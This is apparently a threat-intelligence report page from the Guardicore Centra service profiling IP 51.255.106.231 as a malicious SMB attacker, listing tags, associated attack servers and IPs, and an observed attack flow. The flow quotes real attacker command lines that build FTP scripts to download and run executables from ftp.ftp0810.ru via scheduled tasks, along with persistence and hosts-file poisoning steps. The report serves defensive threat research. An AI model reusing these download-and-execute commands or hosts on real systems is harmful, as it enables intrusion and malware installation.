IP Address: 51.255.106.231Malicious

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IP Address:
51.255.106.231​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

HTTP CMD WMI Persistence SMB Null Session Login Scheduled Task Creation System File Modification Service Creation Persistency - Image Hijack SMB Access Suspicious Domain Cookie Hijacking File Operation By CMD DNS Poisoning Service Configuration Download File Service Start Outgoing Connection Download and Execute

Associated Attack Servers

sharktech.net grantmindline.com hosteons.com

217.195.153.116 104.233.207.172 137.175.56.104 103.124.105.246 173.208.153.130 139.5.177.32 70.39.123.18 185.47.128.124 104.37.187.182 45.58.135.106 172.83.155.170

Basic Information

IP Address

51.255.106.231

Domain

-

ISP

OVH SAS

Country

France

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2020-07-17

Last seen in Guardicore Centra

2021-03-18

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

c:\windows\system32\services.exe installed and started cmd as a service named cfvB under service group None

Service Creation Service Start

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 139.5.177.32:8032, 173.208.153.130:8130 and 70.39.123.18:8018

Outgoing Connection

The file C:\WINDOWS\system32\max.exe was downloaded and executed

Download and Execute

Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: sharktech.net

Outgoing Connection Access Suspicious Domain

The file C:\WINDOWS\system32\s.exe was downloaded and executed

Download and Execute

System file C:\windows\Temp\ntuser.dat was modified 4 times

System File Modification

The file C:\WINDOWS\Temp\conhoy.exe was downloaded and executed 17 times

Download and Execute

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:80, 104.233.207.172:8172 and 70.39.123.18:8018

Outgoing Connection

Process c:\windows\temp\conhoy.exe attempted to access suspicious domains: hosteons.com and sharktech.net

Outgoing Connection Access Suspicious Domain

C:\WINDOWS\Temp\wmi.bat was downloaded

Download File

Process c:\windows\system32\s.exe generated outgoing network traffic to: 172.83.155.170:80, 45.58.135.106:80 and 45.58.135.106:8888

Outgoing Connection

c:\windows\temp\u.exe was downloaded

Download File

C:\windows\Temp\ntuser.dat was downloaded

Download File

Process c:\windows\temp\u.exe generated outgoing network traffic to: 172.83.155.170:80, 45.58.135.106:80 and 45.58.135.106:8888

Outgoing Connection

c:\windows\inf\aspnet\lsma12.exe was downloaded

Download File

The file C:\WINDOWS\system\msinfo.exe was downloaded and executed

Download and Execute

The file C:\WINDOWS\system32\wpcap.dll was downloaded and loaded by c:\windows\system32\wpcap.dll

Download and Execute

The file C:\WINDOWS\system32\packet.dll was downloaded and loaded by c:\windows\system32\packet.dll

Download and Execute

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa3.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\ok.job

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\WINDOWS\Tasks\oka.job

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\MicrosoftsWindowsy.job

c:\windows\system32\net1.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

c:\windows\system32\sc.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

c:\windows\system32\net1.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

System file C:\WINDOWS\system32\drivers\etc\hosts was modified

System File Modification

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

The file C:\WINDOWS\Debug\item.dat was downloaded and loaded by c:\windows\system32\schtasks.exe

Download and Execute

Connection was closed due to user inactivity

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IP Address: 51.255.106.231​Malicious